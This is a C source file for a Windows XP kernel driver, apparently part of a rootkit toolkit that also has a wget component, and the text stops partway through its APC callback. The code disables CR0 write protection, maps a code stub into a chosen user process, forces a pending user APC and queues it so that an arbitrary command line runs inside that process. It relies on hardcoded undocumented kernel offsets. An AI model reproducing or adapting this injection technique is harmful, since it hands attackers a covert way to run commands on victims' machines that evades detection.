📄 exec.c
字号:
///
// uty@uaty
///
#include <ntddk.h>
#ifdef DBG
#define u_DbgPrint(_x_) \
DbgPrint _x_;
#else
#define u_DbgPrint(_x_)
#endif
//--------------------------------------------------------------------
typedef enum _KAPC_ENVIRONMENT{
OriginalApcEnvironment,
AttachedApcEnvironment,
CurrentApcEnvironment
}KAPC_ENVIRONMENT;
typedef struct _KAPC_STATE{
LIST_ENTRY ApcListHead[2];
PEPROCESS Process;
UCHAR KernelApcInProgress;
UCHAR KernelApcPending;
UCHAR UserApcPending;
}KAPC_STATE,*PKAPC_STATE;
//--------------------------------------------------------------------
NTSTATUS
uSetTheApc_Exec(
ULONG process,
ULONG threAd,
ULONG MAppedAddress,
PKEVENT pEvent,
PCHAR CmdLine
);
VOID
WorkThreAd_Exec(
IN PVOID pContext
);
VOID
KernelApcCAllBAck_Exec(
PKAPC Apc,
PKNORMAL_ROUTINE *NormalRoutine,
PVOID *NormalContext,
PVOID *SystemArgument1,
PVOID *SystemArgument2
);
VOID
OnUnloAd(
IN PDRIVER_OBJECT DriverObject
);
BOOLEAN
find_threAd_Exec(
OUT ULONG *process,
OUT ULONG *threAd
);
UserExec(
PCHAR CmdLine,
PVOID unused1,
PVOID unused2
);
UserExec_end(
VOID
);
BOOLEAN
CheckVersion_Exec(
VOID
);
/* Function prototypes for APCs */
VOID
KeInitializeApc(
PKAPC Apc,
PKTHREAD Thread,
CCHAR ApcStateIndex,
PKKERNEL_ROUTINE KernelRoutine,
PKRUNDOWN_ROUTINE RundownRoutine,
PKNORMAL_ROUTINE NormalRoutine,
KPROCESSOR_MODE ApcMode,
PVOID NormalContext
);
BOOLEAN
KeInsertQueueApc(
PKAPC Apc,
PVOID SystemArgument1,
PVOID SystemArgument2,
UCHAR unknown
);
/* Function prototypes for AttAch process */
NTKERNELAPI VOID
KeStackAttachProcess(
IN PEPROCESS Process,
OUT PKAPC_STATE ApcState
);
NTKERNELAPI VOID
KeUnstackDetachProcess(
IN PKAPC_STATE ApcState
);
//--------------------------------------------------------------------
//AlreAdy defined in wget.c
static ULONG THREADLISTHEAD_OFFSET;
static ULONG THREADLISTENTRY_OFFSET;
static ULONG IMAGEFILENAME_OFFSET;
static ULONG ACTIVEPROCESSLINKS_OFFSET;
static ULONG USERAPCPENDING_OFFSET;
static ULONG TCB_TEB_OFFSET;
BOOLEAN
KExec(
PCHAR CmdLine
)
{
HANDLE hThreAd = NULL;
NTSTATUS dwStAtus;
if(strlen(CmdLine) > 99){ //one byte for '\0'
DbgPrint("CmdLine is too long,At most 100 bytes\n");
return FALSE;
}
if(FALSE == CheckVersion_Exec()){
DbgPrint("os version not supported\n");
return FALSE;
}
dwStAtus = PsCreateSystemThread(&hThreAd,
(ACCESS_MASK)0,
NULL,
(HANDLE)0,
NULL,
WorkThreAd_Exec,
CmdLine
);
if (!NT_SUCCESS(dwStAtus)){
DbgPrint("error when creAte the threAd\n");
return FALSE;
}
return TRUE;
}
//--------------------------------------------------------------------
BOOLEAN
CheckVersion_Exec(
VOID
)
{
RTL_OSVERSIONINFOEXW osversion = {0};
osversion.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOEXW);
RtlGetVersion((RTL_OSVERSIONINFOW*)&osversion);
u_DbgPrint(("dwMAjorVersion: %d\n",osversion.dwMajorVersion));
u_DbgPrint(("dwMinorVersion: %d\n",osversion.dwMinorVersion));
u_DbgPrint(("dwBuildNumber: %d\n",osversion.dwBuildNumber));
u_DbgPrint(("wServicePAckMAjor: %d\n",osversion.wServicePackMajor));
u_DbgPrint(("wServicePAckMinor: %d\n",osversion.wServicePackMinor));
if( (osversion.dwMajorVersion == 5)
&& (osversion.dwMinorVersion == 1)
&& (osversion.wServicePackMajor == 1)
//&& (osversion.wServicePackMinor == 0)
)
{
THREADLISTHEAD_OFFSET = 0x190;
THREADLISTENTRY_OFFSET = 0x22c;//both ThreAdListEntry in ETHREAD KTHREAD works;
IMAGEFILENAME_OFFSET = 0x174;
ACTIVEPROCESSLINKS_OFFSET = 0x88;
USERAPCPENDING_OFFSET = 0x4A;
TCB_TEB_OFFSET = 0x20;
return TRUE;
}
else if( (osversion.dwMajorVersion == 5)
&& (osversion.dwMinorVersion == 1)
&& (osversion.wServicePackMajor == 2)
//&& (osversion.wServicePackMinor == 0)
)
{
THREADLISTHEAD_OFFSET = 0x190;
THREADLISTENTRY_OFFSET = 0x22c;//both ThreAdListEntry in ETHREAD KTHREAD works;
IMAGEFILENAME_OFFSET = 0x174;
ACTIVEPROCESSLINKS_OFFSET = 0x88;
USERAPCPENDING_OFFSET = 0x4A;
TCB_TEB_OFFSET = 0x20;
return TRUE;
}
return FALSE;
}
//--------------------------------------------------------------------
//PMDL pMdl = NULL;
VOID
WorkThreAd_Exec(
IN PVOID pContext
)
{
ULONG process,threAd;
PKEVENT pEvent = NULL;
PMDL pMdl = NULL;
PVOID MAppedAddress = NULL;
ULONG size;
KAPC_STATE ApcStAte;
PCHAR CmdLine;
CmdLine = (PCHAR)pContext;
if (!find_threAd_Exec(&process,&threAd)){
DbgPrint("cAnnot find the right threAd\n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
pEvent = ExAllocatePool(NonPagedPool,sizeof(KEVENT));
if(!pEvent){
DbgPrint("ExAllocatePool(pEvent) fAiled\n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
_asm
{
CLI //dissable interrupt
MOV EAX, CR0 //move CR0 register into EAX
AND EAX, NOT 10000H //disable WP bit
MOV CR0, EAX //write register back
}
memcpy((UCHAR*)UserExec_end,CmdLine,strlen(CmdLine));
memset((UCHAR*)((ULONG)UserExec_end+strlen(CmdLine)),0,1);
_asm
{
MOV EAX, CR0 //move CR0 register into EAX
OR EAX, 10000H //enable WP bit
MOV CR0, EAX //write register back
STI //enable interrupt
}
size = (UCHAR*)UserExec_end - (UCHAR*)UserExec + 100;//最多100个字节的
u_DbgPrint(("size: %d\n",size));
pMdl = IoAllocateMdl(
UserExec,
size,
FALSE,
FALSE,
NULL
);
if(!pMdl){
ExFreePool (pEvent);
DbgPrint("IoAllocateMdl fAiled\n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
__try{
MmProbeAndLockPages(
pMdl,
KernelMode,
IoWriteAccess
);
}
__except(EXCEPTION_EXECUTE_HANDLER){
IoFreeMdl(pMdl);
ExFreePool(pEvent);
DbgPrint("MmProbeAndLockPAges fAiled\n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
u_DbgPrint(("process 0x%x\n",process));
KeStackAttachProcess((PEPROCESS)process,&ApcStAte);
__try{
MAppedAddress = MmMapLockedPagesSpecifyCache(
pMdl,
UserMode,
MmCached,
NULL,
FALSE,
NormalPagePriority
);
}
__except(EXCEPTION_EXECUTE_HANDLER){
MmUnlockPages(pMdl);
IoFreeMdl(pMdl);
ExFreePool(pEvent);
DbgPrint("MmMApLockedPagesSpecifyCAche fAiled\n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
u_DbgPrint(("MAppedAddress: 0x%x\n",MAppedAddress));
if (!MAppedAddress){
KeUnstackDetachProcess(&ApcStAte);
MmUnlockPages(pMdl);
IoFreeMdl(pMdl);
ExFreePool(pEvent);
DbgPrint("MmMApLockedPAgesSpecifyCAche fAiled\n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
//reuse ,freed in APC->KernelRoutine
CmdLine = (PCHAR)((ULONG)MAppedAddress + (ULONG)((UCHAR*)UserExec_end - (UCHAR*)UserExec));
KeUnstackDetachProcess(&ApcStAte);
KeInitializeEvent(pEvent,NotificationEvent,FALSE);
uSetTheApc_Exec(process,threAd,(ULONG)MAppedAddress,pEvent,CmdLine);
KeWaitForSingleObject(
pEvent,
Executive,
KernelMode,
FALSE,
NULL
);
u_DbgPrint(("ok free pEvent pMdl now\n"));
ExFreePool(pEvent);
MmUnlockPages(pMdl);
IoFreeMdl(pMdl);
PsTerminateSystemThread(STATUS_SUCCESS);
DbgPrint("Never be here \n");
}
//--------------------------------------------------------------------
NTSTATUS
uSetTheApc_Exec(
ULONG process,
ULONG threAd,
ULONG MAppedAddress,
PKEVENT pEvent,
PCHAR CmdLine
)
{
NTSTATUS dwStAtus = STATUS_SUCCESS;
PKAPC pkApc;
BOOLEAN bBool;
*((unsigned char *)threAd + USERAPCPENDING_OFFSET)=1; //////////////////////////////////////////////
//*((unsigned char *)threAd+0x164)=1; //both of them works :>
pkApc = ExAllocatePool(NonPagedPool,sizeof(KAPC));
if (pkApc == NULL){
DbgPrint("error:ExAllocAtePool\n");
return STATUS_INSUFFICIENT_RESOURCES;
}
KeInitializeApc(
pkApc,
(PKTHREAD)threAd,
OriginalApcEnvironment,
(PKKERNEL_ROUTINE)KernelApcCAllBAck_Exec,
NULL,
(PKNORMAL_ROUTINE)MAppedAddress,//UserApcCAllBAck,
UserMode,
(PVOID)CmdLine
);
bBool = KeInsertQueueApc(pkApc,pEvent,0,0); //ticky
if(bBool == FALSE){
DbgPrint("error:KeInsertQueueApc\n");
}
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
VOID
KernelApcCAllBAck_Exec(
PKAPC Apc,
PKNORMAL_ROUTINE *NormAlRoutine,
IN OUT PVOID *NormAlContext,
IN OUT PVOID *SystemArgument1,
IN OUT PVOID *SystemArgument2
)
{
PKEVENT pEvent;
//PCHAR CmdLine;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -